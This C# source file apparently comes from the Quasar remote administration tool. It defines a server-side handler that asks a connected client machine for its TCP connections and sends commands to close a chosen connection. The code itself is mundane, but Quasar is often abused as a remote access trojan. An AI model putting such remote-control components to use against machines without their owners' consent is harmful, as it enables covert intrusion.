using Quasar.Common.Messages;
using Quasar.Common.Models;
using Quasar.Common.Networking;
using Quasar.Server.Networking;
namespace Quasar.Server.Messages
{
///
/// Handles messages for the interaction with remote TCP connections.
///
public class TcpConnectionsHandler : MessageProcessorBase
{
///
/// The client which is associated with this tcp connections handler.
///
private readonly Client _client;
///
/// Initializes a new instance of the class using the given client.
///
/// The associated client.
public TcpConnectionsHandler(Client client) : base(true)
{
_client = client;
}
///
public override bool CanExecute(IMessage message) => message is GetConnectionsResponse;
///
public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender);
///
public override void Execute(ISender sender, IMessage message)
{
switch (message)
{
case GetConnectionsResponse con:
Execute(sender, con);
break;
}
}
///
/// Refreshes the current TCP connections.
///
public void RefreshTcpConnections()
{
_client.Send(new GetConnections());
}
///
/// Closes a TCP connection of the client.
///
/// Local address.
/// Local port.
/// Remote address.
/// Remote port.
public void CloseTcpConnection(string localAddress, ushort localPort, string remoteAddress, ushort remotePort)
{
// a unique tcp connection is determined by local address + port and remote address + port
_client.Send(new DoCloseConnection
{
LocalAddress = localAddress,
LocalPort = localPort,
RemoteAddress = remoteAddress,
RemotePort = remotePort
});
}
private void Execute(ISender client, GetConnectionsResponse message)
{
OnReport(message.Connections);
}
}
}